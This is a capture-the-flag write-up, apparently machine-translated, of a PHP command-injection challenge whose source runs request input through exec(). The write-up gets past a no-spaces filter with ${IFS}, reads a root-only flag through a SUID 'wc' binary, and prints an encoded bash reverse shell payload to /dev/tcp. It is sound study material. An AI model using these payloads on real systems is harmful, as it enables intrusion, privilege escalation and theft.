A total of 4310 characters, expected to take 11 minutes to complete reading.
Title
open the web page to the source code:
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {$this->logLevel = $logLevel;}
public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";
}
}
}
class UserManager {private $users = [];
private $logger;
public function __construct($logger) {$this->logger = $logger;}
public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}
if (strlen($password) < 8) {return "Password must be at least 8 characters";}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {$this->maxLength = $maxLength;}
public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {$this->logger = $logger;}
public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}
if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {return $validationResult;}
return $this->executor->execute($input);
} elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
}
Ideas
Turn to the bottom of the code and the web page gets action
andinput
two parameters, and executedactionHandle
:
Go actionHandle
, noteaction=run
When you can execute arbitrary commands, but there is filtering:
There is a limit of up to 100 characters (see configuration):
And the executed command cannot contain spaces, it is easy to think of it here. ${IFS}
to get around, say cat flag
can be used cat${IFS}flag
Come around.
We execute first ls -al
See what's in the current directory, through GET Incomingaction=run&input=ls${IFS}-al
:
Notice that the current folder has a wc
file, and can be executed. Let's look at what's in the home directory again, passing inaction=run&input=ls${IFS}-al${IFS}/
:
can be found flag In /flag
. Is it directly? cat /flag
What?
However, it doesn't work. I only looked at it. root Users have permissions. Suddenly thought wc
File, this file attribute has a s, means SUID file. This file allows the process to temporarily obtain the permissions of the program file owner when the program is executed, then we can not obtain flag It's up. Let's see what uses are:
Parameters --files0-from=xxx
It means to read. xxx
The contents of the file, and calculate the number of words in each file in the file content. We read a file casually:
can be found wc
I read the contents of the file, and because the file in the content does not exist, I actually printed out the contents of the file, which is easy to handle!
Or direct rebound shell More convenient, direct inputbash -i >& /dev/tcp/ 你的 IP/ 端口 0>&1
, bypass the spaceecho${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=|base64${IFS}-d${IFS}|bash
, and then URL encoding becomesaction=run&input=echo$%7BIFS%7DYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=%7Cbase64$%7BIFS%7D-d$%7BIFS%7D%7Cbash
. obtained shell:
Input ./wc --files0-from=/flag
can be obtained flag La!